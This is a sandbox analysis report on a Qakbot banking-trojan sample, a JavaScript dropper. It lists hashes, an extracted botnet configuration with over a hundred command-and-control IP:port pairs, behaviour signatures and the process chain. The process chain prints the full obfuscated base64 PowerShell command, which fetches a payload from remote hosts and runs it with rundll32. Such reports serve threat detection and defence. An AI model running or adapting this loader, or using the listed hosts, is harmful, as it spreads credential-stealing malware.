qakbot | 1399c323e9b99cbb24eaebe545e710fd5fcc8bd3df631ebad9517d635d4b2eda

Analysis

max time kernel
150s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
20/06/2023, 17:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
00x4PZfgSiLd5.js
Size 434KB
Sample230620-wetqdaef2x
SHA256 2b3c2b33cc0cb7a8d559b5a7ddf7397ee4bc8431d95cd117f4850b6b2fd42e31
MD5 dcd9aa2720f0a574c93da0f1ee058247
SHA1 e6539b4434ce2ea19125311507cc204dd00c0ba1
SHA512 4be32ad1660cd07304b24a4047defed918db94793bafd6646a72b329379f9e4d6e209e3d96c1e8f7597af803aa2b26a1454237d7db6b1e33e1bb1a7f30a44c20
SSDEEP 12288:ZzK2tWuoE1y4V/grAd6AdLIczjK78BkKVz1m1V0:ZulAd6AdLtj07zM
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

qakbot obama269 1687245474 banker stealer trojan

Malware Config

Extracted

Family

qakbot

Version

404.1382

Botnet

obama269

Campaign

1687245474

91.160.70.68:32100
182.75.189.42:995
151.62.196.183:443
72.134.124.16:443
104.35.24.154:443
84.215.202.8:443
71.31.9.226:995
103.153.180.59:995
45.62.75.217:443
95.230.110.222:995
49.175.72.81:443
12.172.173.82:22
168.149.47.12:443
68.186.65.132:443
113.11.92.30:443
116.75.58.218:443
151.69.32.238:443
24.138.87.122:995
96.87.28.170:2222
147.147.30.126:2222
109.105.29.93:443
183.82.107.190:443
1.221.179.74:443
2.36.64.159:2078
12.172.173.82:995
201.171.159.196:443
192.252.166.24:80
176.44.123.169:995
2.82.8.80:443
81.150.169.174:2083
74.12.147.68:2222
86.248.228.57:2078
70.160.67.203:443
75.109.111.89:443
88.126.94.4:50000
70.28.50.223:3389
223.166.13.95:995
162.248.14.107:443
70.28.50.223:32100
84.35.26.14:995
183.87.163.165:443
92.186.69.229:2222
12.172.173.82:993
174.4.89.3:443
199.27.66.213:443
12.172.173.82:50001
81.229.117.95:2222
92.9.45.20:2222
12.172.173.82:20
91.169.12.198:32100
213.91.235.146:443
12.172.173.82:465
70.28.50.223:2078
75.98.154.19:443
136.232.179.26:443
67.87.119.216:2078
103.123.223.131:443
94.204.121.72:443
103.140.174.20:2222
95.45.50.93:2222
72.4.96.62:443
176.142.207.63:443
213.64.33.92:2222
47.34.30.133:443
70.28.50.223:2087
47.205.25.170:443
81.150.169.174:2078
81.150.169.174:2087
89.158.150.253:443
66.241.183.99:443
188.28.22.221:443
23.234.237.3:443
181.230.169.180:443
184.182.66.109:443
70.28.50.223:2083
175.156.65.126:2222
64.229.117.208:2222
77.126.99.230:443
87.252.106.235:995
12.172.173.82:32101
161.142.100.114:995
24.234.220.88:995
70.28.50.223:1194
24.234.80.122:995
81.150.169.174:2222
121.121.100.202:995
105.186.138.229:995
27.0.48.233:443
80.6.50.34:443
12.172.173.82:21
197.3.227.63:443
68.6.237.243:443
87.149.116.32:995
103.212.19.254:995
90.104.151.37:2222
178.175.187.254:443
86.170.169.53:443
119.82.71.94:2078
90.7.72.46:2222
217.165.255.105:443
116.88.76.28:443
125.99.69.177:443
73.155.10.79:443
103.141.50.46:995
142.181.206.222:2222
47.199.241.39:443
96.255.66.51:995
64.121.161.102:443
60.189.130.84:995
187.199.244.117:32103
110.159.115.244:443
72.205.104.134:443
12.172.173.82:2087
79.168.224.165:2222
81.157.120.247:443
124.122.47.219:443
201.227.113.134:2222
103.144.201.52:2078

Signatures

Qakbot/Qbot
Qbot or Qakbot is a sophisticated worm with banking capabilities.
trojan banker stealer qakbot

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	1336	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	wscript.exe

Loads dropped DLL 1 IoCs

pid	Process
4988	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1336	powershell.exe
1336	powershell.exe
228	powershell.exe
228	powershell.exe
4988	rundll32.exe
4988	rundll32.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe
3840	wermgr.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1336	powershell.exe
Token: SeDebugPrivilege	228	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 524 wrote to memory of 1336	524	wscript.exe	84
PID 524 wrote to memory of 1336	524	wscript.exe	84
PID 1336 wrote to memory of 228	1336	powershell.exe	86
PID 1336 wrote to memory of 228	1336	powershell.exe	86
PID 228 wrote to memory of 3588	228	powershell.exe	87
PID 228 wrote to memory of 3588	228	powershell.exe	87
PID 3588 wrote to memory of 3172	3588	cmd.exe	88
PID 3588 wrote to memory of 3172	3588	cmd.exe	88
PID 3172 wrote to memory of 4988	3172	rundll32.exe	89
PID 3172 wrote to memory of 4988	3172	rundll32.exe	89
PID 3172 wrote to memory of 4988	3172	rundll32.exe	89
PID 4988 wrote to memory of 3840	4988	rundll32.exe	90
PID 4988 wrote to memory of 3840	4988	rundll32.exe	90
PID 4988 wrote to memory of 3840	4988	rundll32.exe	90
PID 4988 wrote to memory of 3840	4988	rundll32.exe	90
PID 4988 wrote to memory of 3840	4988	rundll32.exe	90
PID 4988 wrote to memory of 3840	4988	rundll32.exe	90

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\00x4PZfgSiLd5.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABpAG4AYwBvAG4AcwBlAHEAdQBlAG4AdABpAGEAbAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAZwBBAE4AQQBBAHUAQQBEAEUAQQBOAHcAQQAyAEEAQwA0AEEATgBRAEEANABBAEMANABBAE0AUQBBADMAQQBEAFEAQQAiADsAJABUAHIAbwB1AGIAYQBkAG8AdQByAFQAcgBhAG0AcwBtAGkAdABoACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABNAEEATwBRAEEAdQBBAEQAVQBBAE4AZwBBAHUAQQBEAEUAQQBOAHcAQQA0AEEAQwA0AEEATgB3AEEAegBBAEEAPQA9ACIAOwAkAGYAYQByAHQAaABlAHIAbQBvAHMAdABQAHIAZQBhAGwAbABvAHcAYQBiAGwAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQgBBAEcAUQBBAGIAUQBCAHAAQQBIAE0AQQBjAHcAQgBwAEEASABZAEEAWgBRAEEAdQBBAEcAYwBBAGIAQQBCAHYAQQBHAEkAQQBZAFEAQgBzAEEAQwA4AEEAZAB3AEIAaQBBAEQARQBBAE4AdwBBAHYAQQBFAHMAQQBiAFEAQgBYAEEAQQA9AD0AegBPAEkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBVAEEAYgBnAEIAaQBBAEcAVQBBAFkAUQBCADAAQQBHAFUAQQBiAGcAQgBJAEEARwA4AEEAYgBRAEIAbABBAEgAQQBBAGIAQQBCAGgAQQBHAE0AQQBaAFEAQQB1AEEARwBVAEEAZABnAEIAbABBAEcANABBAGQAQQBCAHoAQQBDADgAQQBhAFEAQgBXAEEASABJAEEAWQBnAEEAdgBBAEQAUQBBAFYAZwBCAFcAQQBGAGsAQQBjAFEAQQA9AHoATwBJAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcAVQBBAGIAUQBCAGwAQQBIAEkAQQBhAHcAQgBoAEEASABNAEEATABnAEIAagBBAEcAOABBAGIAUQBBAHYAQQBEAEEAQQBWAEEAQgA2AEEARQBvAEEAYQB3AEIAMQBBAEcAYwBBAEwAZwBCAGsAQQBHAEUAQQBkAEEAQQA9AHoATwBJAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcARQBBAGIAZwBCAHAAQQBHAEUAQQBkAEEAQgB5AEEARwBFAEEATABnAEIAagBBAEcAOABBAGIAUQBBAHYAQQBEAGMAQQBVAGcAQgB3AEEARQBZAEEAUwB3AEIAeABBAEcAMABBAEwAZwBCAGsAQQBHAEUAQQBkAEEAQQA9AHoATwBJAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAUQBBAFkAUQBCAHoAQQBHAGsAQQBjAGcAQgB5AEEARwBzAEEAWQBRAEIAeQBBAEMANABBAFkAdwBCAHYAQQBHADAAQQBMAHcAQgAxAEEARABBAEEAWgBnAEIAbwBBAEQATQBBAE0AQQBCAG8AQQBHAFkAQQBUAGcAQgBpAEEARABJAEEATABnAEIAawBBAEcARQBBAGQAQQBBAD0AegBPAEkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAWgBRAEIAMQBBAEcATQBBAGQAUQBCAHkAQQBHAGsAQQBkAEEAQgBoAEEAQwA0AEEAWQB3AEIAdgBBAEcAMABBAEwAdwBCAHMAQQBHAGcAQQBhAFEAQgBZAEEARgBBAEEATwBRAEEAdQBBAEcAUQBBAFkAUQBCADAAQQBBAD0APQB6AE8ASQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBhAEEAQgBwAEEARwA0AEEAWQBRAEIAdABBAEcAOABBAFkAUQBBAHUAQQBHAE0AQQBiAHcAQgB0AEEAQwA4AEEAVgBBAEIAVABBAEYARQBBAFcAQQBCADMAQQBIAGcAQQBTAEEAQgBZAEEAQwA0AEEAWgBBAEIAaABBAEgAUQBBAHoATwBJAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcAZwBBAGIAdwBCAHMAQQBHAGsAQQBhAHcAQgBwAEEARwA0AEEAWQBRAEEAdQBBAEcATQBBAGIAdwBCAHQAQQBDADgAQQBaAGcAQgBYAEEASABrAEEATgBnAEIATwBBAEYAYwBBAE0AZwBCAFQAQQBGAE0AQQBSAEEAQgBxAEEAQwA0AEEAWgBBAEIAaABBAEgAUQBBACIAOwAkAGgAZQBsAGkAbwBjAGgAcgBvAG0AbwBzAGMAbwBwAGUASQBuAGMAbwBtAG0AdQBuAGkAYwBhAHQAaQB2AGUAbgBlAHMAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AQQBBADUAQQBDADQAQQBNAFEAQQA0AEEARABRAEEATABnAEEAeABBAEQAWQBBAE4AUQBBAHUAQQBEAEUAQQBOAFEAQQB6AEEAQQA9AD0AVQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFEAQQBHAEUAQQBjAGcAQgBzAEEARwBrAEEAWQBRAEIAdABBAEcAVQBBAGIAZwBCADAAQQBHAEUAQQBjAGcAQgBwAEEARwA0AEEAWgBRAEIAegBBAEgATQBBAFUAdwBCADEAQQBIAEEAQQBjAEEAQgBzAEEARwBVAEEAYgBRAEIAbABBAEcANABBAGQAQQBCAGgAQQBHAHcAQQBjAHcAQQB1AEEARwBZAEEAYgB3AEIAeQBBAEgATQBBAFkAUQBCAHMAQQBHAFUAQQAiADsAJAB1AG4AZABlAHIAaQB2AGEAdABpAHYAZQBEAG8AYwBpAG8AdQBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBOAEEARwBrAEEAYwB3AEIAdQBBAEcARQBBAGQAZwBCAHAAQQBHAGMAQQBZAFEAQgAwAEEARwBVAEEAWgBBAEIASQBBAEcAVQBBAGMAQQBCADAAQQBHAEUAQQBjAHcAQgA1AEEARwB3AEEAYgBBAEIAaABBAEcASQBBAGEAUQBCAGoAQQBDADQAQQBjAGcAQgBsAEEASABNAEEAZABBAEEAPQBPAHkAcQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAEEAQQAyAEEAQwA0AEEATQBnAEEAegBBAEQAZwBBAEwAZwBBAHkAQQBEAFEAQQBNAHcAQQB1AEEARABVAEEATQBnAEEAPQBPAHkAcQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAFEAQQB4AEEAQwA0AEEATQBRAEEAMwBBAEQASQBBAEwAZwBBAHgAQQBEAFUAQQBOAEEAQQB1AEEARABJAEEATgBBAEEAdwBBAEEAPQA9ACIAOwAkAGEAZABtAGkAcwBzAGkAbwBuACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATwBRAEEAegBBAEMANABBAE4AQQBBADEAQQBDADQAQQBNAFEAQQAzAEEARABNAEEATABnAEEAeABBAEQAYwBBAE8AQQBBAD0AQgBxAHQAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAEIAQQBHAHcAQQBaAFEAQgA1AEEASABJAEEAYgB3AEIAawBBAEcAVQBBAGMAdwBBAHUAQQBHAFkAQQBhAFEAQQA9AEIAcQB0AEEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABBAEEATQBRAEEAdQBBAEQARQBBAE0AUQBBADEAQQBDADQAQQBNAGcAQQB5AEEARABBAEEATABnAEEAMgBBAEQAWQBBAEIAcQB0AEEAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBnAEEAMwBBAEMANABBAE0AUQBBAHgAQQBEAFEAQQBMAGcAQQB5AEEARABVAEEATgBBAEEAdQBBAEQAYwBBAE0AdwBBAD0AIgA7AGYAbwByAGUAYQBjAGgAIAAoACQAQwBsAGEAcgBpAGMAaABvAHIAZABNAG8AZABpAHMAdAAgAGkAbgAgACQAZgBhAHIAdABoAGUAcgBtAG8AcwB0AFAAcgBlAGEAbABsAG8AdwBhAGIAbAB5ACAALQBzAHAAbABpAHQAIAAiAHoATwBJACIAKQAgAHsAJAB0AG8AcABzAGEAaQBsAEYAZQByAG4AYQBuAGQAaQBuAGkAdABlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBSAEEARwBFAEEAYgBnAEIAaABBAEgAUQBBAGMAdwBCAFYAQQBHADQAQQBaAFEAQgAyAEEARwBFAEEAWgBBAEIAcABBAEcASQBBAGIAQQBCAGwAQQBDADQAQQBaAGcAQgBoAEEARwBrAEEAYgBBAEEAPQBmAEIAcABRAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAawBBAEcAawBBAFkAUQBCAG4AQQBIAEkAQQBZAFEAQgB0AEEARQAwAEEAWgBRAEIAawBBAEcAawBBAFkAUQBCADAAQQBHADgAQQBjAGcAQgBwAEEARwBFAEEAYgBBAEIAcABBAEgATQBBAGIAUQBBAHUAQQBIAFUAQQBiAGcAQgB2AEEAQQA9AD0AIgA7AHQAcgB5ACAAewAkAFMAZQBxAHUAbwBpAGEAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAEEAQQA1AEEAQwA0AEEATQBRAEEAMABBAEQAZwBBAEwAZwBBADQAQQBEAGcAQQBMAGcAQQB4AEEARABrAEEATgBnAEEAPQAiADsAJABvAHUAdABzAGMAbwByAGUAcwBQAHIAbwBjAGEAdgBpAGkAZABhAGUAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAFEAQQBZAFEAQgBuAEEARwBVAEEAZABBAEIAdgBBAEcAdwBBAFEAdwBCAHAAQQBHAHcAQQBhAFEAQgBoAEEASABJAEEAZQBRAEEAdQBBAEcAVQBBAGQAUQBBAD0AcwBzAG8AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAYQBRAEIANgBBAEcAawBBAFoAUQBCAHoAQQBIAFEAQQBjAHcAQgBKAEEARwB3AEEAWgBRAEIAdgBBAEgATQBBAGQAQQBCAHYAQQBHADAAQQBlAFEAQQB1AEEARwBrAEEAYgBnAEIAbQBBAEcAOABBACIAOwAkAGUAbQBlAHQAbwBtAG8AcgBwAGgAaQBuAGUAUwB5AG0AcABvAHMAaQBhAGMAIAA9ACAAJABDAGwAYQByAGkAYwBoAG8AcgBkAE0AbwBkAGkAcwB0ADsAJABHAGEAZwBnAGUAcgAgAD0AIAAiAGIAZwBCAGwAQQBHADgAQQBkAEEAQgB5AEEARwBVAEEAYgBRAEIAaABBAEgAUQBBAFkAUQBCAFQAQQBIAFEAQQBaAFEAQgB0AEEARwAwAEEAYQBRAEIAbABBAEgATQBBAGQAQQBBAHUAQQBHAFEAQQBiAEEAQgBzAEEAQQA9AD0AIgA7ACQAVQBuAGMAbwBuAHQAcgBhAHMAdABpAHYAZQBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZQBtAGUAdABvAG0AbwByAHAAaABpAG4AZQBTAHkAbQBwAG8AcwBpAGEAYwApACkAOwAkAFAAbgBlAHUAbQBhAHQAbwBwAGgAbwByAGkAYwBUAHUAcgBjAG8AbQBhAG4AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQARwBhAGcAZwBlAHIAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABVAG4AYwBvAG4AdAByAGEAcwB0AGkAdgBlAGwAeQAgAC0ATwAgAEMAOgBcAFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAXAAkAFAAbgBlAHUAbQBhAHQAbwBwAGgAbwByAGkAYwBUAHUAcgBjAG8AbQBhAG4AOwAkAFMAZQBxAHUAbwBpAGEAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAEEAQQA1AEEAQwA0AEEATQBRAEEAMABBAEQAZwBBAEwAZwBBADQAQQBEAGcAQQBMAGcAQQB4AEEARABrAEEATgBnAEEAPQAiADsAJABvAHUAdABzAGMAbwByAGUAcwBQAHIAbwBjAGEAdgBpAGkAZABhAGUAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAFEAQQBZAFEAQgBuAEEARwBVAEEAZABBAEIAdgBBAEcAdwBBAFEAdwBCAHAAQQBHAHcAQQBhAFEAQgBoAEEASABJAEEAZQBRAEEAdQBBAEcAVQBBAGQAUQBBAD0AcwBzAG8AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAYQBRAEIANgBBAEcAawBBAFoAUQBCAHoAQQBIAFEAQQBjAHcAQgBKAEEARwB3AEEAWgBRAEIAdgBBAEgATQBBAGQAQQBCAHYAQQBHADAAQQBlAFEAQQB1AEEARwBrAEEAYgBnAEIAbQBBAEcAOABBACIAOwAkAHUAbgBpAG4AZgBlAHIAYQBiAGwAZQBQAGgAYQBuAGEAcgBpAG8AdABlACAAPQAgACgARwBlAHQALQBJAHQAZQBtACAALQBQAGEAdABoACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcACQAUABuAGUAdQBtAGEAdABvAHAAaABvAHIAaQBjAFQAdQByAGMAbwBtAGEAbgApAC4ATABlAG4AZwB0AGgAOwAkAE0AaQBzAHAAcgBvAHAAbwBzAGEAbABBAG0AbQBvAG4AaQBhAHQAZQBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB6AEEARwBFAEEAYQBRAEIAcwBBAEcAawBBAGIAZwBCAG4AQQBDADQAQQBhAEEAQgB2AEEASABNAEEAZABBAEEAPQBOAHIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBVAEEAYgBRAEIAdABBAEcAVQBBAGIAZwBCAHAAQQBHAEUAQQBMAGcAQgB5AEEARwA4AEEAWQB3AEIAcgBBAEgATQBBAE4AcgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAEEAQQAyAEEAQwA0AEEATQBRAEEAeQBBAEQATQBBAEwAZwBBAHgAQQBEAFUAQQBOAHcAQQB1AEEARABnAEEATgBBAEEAPQAiADsAaQBmACAAKAAkAHUAbgBpAG4AZgBlAHIAYQBiAGwAZQBQAGgAYQBuAGEAcgBpAG8AdABlACAALQBnAGUAIAA1ADgAMwA0ADEAKQB7ACQAQwBhAG4AdABkAG8AZwBDAGEAcABpAHQAbwBsAGkAYQBuACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAzAEEARABFAEEATABnAEEANQBBAEQAWQBBAEwAZwBBAHgAQQBEAGsAQQBPAEEAQQB1AEEARABZAEEATgB3AEEAPQAiADsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBKAEEAQgBKAEEARwBRAEEAYQBRAEIAdgBBAEcAMABBAGIAdwBCAHMAQQBHADgAQQBaAHcAQgA1AEEAQwBBAEEAUABRAEEAZwBBAEMASQBBAFcAZwBCAGgAQQBIAEEAQQBkAEEAQgB2AEEARwBVAEEAWQB3AEIAaABBAEUAWQBBAGIAdwBCAHYAQQBIAFEAQQBiAEEAQgBwAEEARwBNAEEAYQB3AEIAcABBAEcANABBAFoAdwBBAGkAQQBEAHMAQQBKAEEAQgBHAEEASABJAEEAYQBRAEIAbgBBAEcAZwBBAGQAQQBCAEUAQQBHAFUAQQBiAFEAQgBoAEEASABRAEEAYQBRAEIAaABBAEcATQBBAFoAUQBCAGgAQQBHAFUAQQBJAEEAQQA5AEEAQwBBAEEASQBnAEIAbQBBAEgASQBBAGQAUQBCAHQAQQBIAEEAQQBhAFEAQgB6AEEARwBnAEEAYgBnAEIAbABBAEgATQBBAGMAdwBCAE8AQQBHADgAQQBiAFEAQgBwAEEARwA0AEEAWgBRAEEAaQBBAEQAcwBBAFkAdwBCAHQAQQBHAFEAQQBJAEEAQQB2AEEARwBNAEEASQBBAEIAeQBBAEgAVQBBAGIAZwBCAGsAQQBHAHcAQQBiAEEAQQB6AEEARABJAEEASQBBAEIARABBAEQAbwBBAFgAQQBCAFEAQQBIAEkAQQBiAHcAQgBuAEEASABJAEEAWQBRAEIAdABBAEUAUQBBAFkAUQBCADAAQQBHAEUAQQBYAEEAQgB1AEEARwBVAEEAYgB3AEIAMABBAEgASQBBAFoAUQBCAHQAQQBHAEUAQQBkAEEAQgBoAEEARgBNAEEAZABBAEIAbABBAEcAMABBAGIAUQBCAHAAQQBHAFUAQQBjAHcAQgAwAEEAQwA0AEEAWgBBAEIAcwBBAEcAdwBBAEwAQQBCAHQAQQBHADgAQQBjAGcAQgBsAEEARABzAEEASgBBAEIAegBBAEgAUQBBAGIAdwBCAHQAQQBHAEUAQQBZAHcAQgBvAEEARwBZAEEAZABRAEIAcwBBAEYAUQBBAFkAUQBCAHMAQQBHAE0AQQBiAHcAQgB0AEEARwBrAEEAWQB3AEIAaABBAEcATQBBAFoAUQBCAHYAQQBIAFUAQQBjAHcAQQBnAEEARAAwAEEASQBBAEEAaQBBAEcAYwBBAGIAQQBCAGgAQQBHAGsAQQBjAGcAQgA1AEEAQwBJAEEATwB3AEEAawBBAEUAVQBBAGIAUQBCAGkAQQBHAEUAQQBjAGcAQgByAEEASABNAEEAUQBRAEIAcwBBAEcAYwBBAFoAUQBCAGkAQQBIAEkAQQBZAFEAQQBnAEEARAAwAEEASQBBAEEAaQBBAEUAawBBAGIAZwBCAGwAQQBIAGcAQQBZAFEAQgBqAEEASABRAEEAYgBBAEIANQBBAEUATQBBAGIAdwBCAHAAQQBHAHcAQQBlAFEAQgBsAEEARwBFAEEAYwBnAEEAaQBBAEQAcwBBAEoAQQBCAFMAQQBHAFUAQQBZAHcAQgAxAEEASABJAEEAZABBAEIAaABBAEcAawBBAGIAZwBBAGcAQQBEADAAQQBJAEEAQQBpAEEARQBnAEEAWgBRAEIAMABBAEcAVQBBAGMAZwBCAHYAQQBIAFEAQQBhAFEAQgBqAEEAQwBJAEEATwB3AEEAawBBAEYATQBBAGEAQQBCAHYAQQBIAEkAQQBkAEEAQgA2AEEASABrAEEAVQBRAEIAMQBBAEcARQBBAFoAQQBCAHkAQQBHAGsAQQBjAEEAQgBzAEEARwBrAEEAWQB3AEIAaABBAEgAUQBBAFoAUQBBAGcAQQBEADAAQQBJAEEAQQBpAEEARwB3AEEAWgBRAEIAbgBBAEcARQBBAGQAQQBCAHAAQQBIAFkAQQBaAFEAQQBpAEEARABzAEEAIgA7ACQAQwBvAGUAbgBvAHMAYQByAGMAYQBsAFUAbgBzAHcAYQBiAGIAZQBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQB3AEEAdQBBAEQARQBBAE4AQQBBADAAQQBDADQAQQBPAEEAQQAyAEEAQwA0AEEATQBRAEEAMQBBAEQAawBBACIAOwAkAEcAYQBzAHQAcgBvAHMAcABsAGUAbgBpAGMARQBiAGQAbwBtAGEAZABlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABVAEEATwBBAEEAdQBBAEQARQBBAE4AUQBBAHcAQQBDADQAQQBPAFEAQQAyAEEAQwA0AEEATQBRAEEAMABBAEQAawBBAE0AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBRAEEARwBrAEEAWgBRAEIAeQBBAEcAawBBAGIAZwBCAGgAQQBHAFUAQQBMAGcAQgBrAEEARwA4AEEAWgB3AEEAPQAiADsAYgByAGUAYQBrADsAfQAgAGUAbABzAGUAIAB7AH0AfQAgAGMAYQB0AGMAaAAgAHsAfQB9AA=="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1336
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
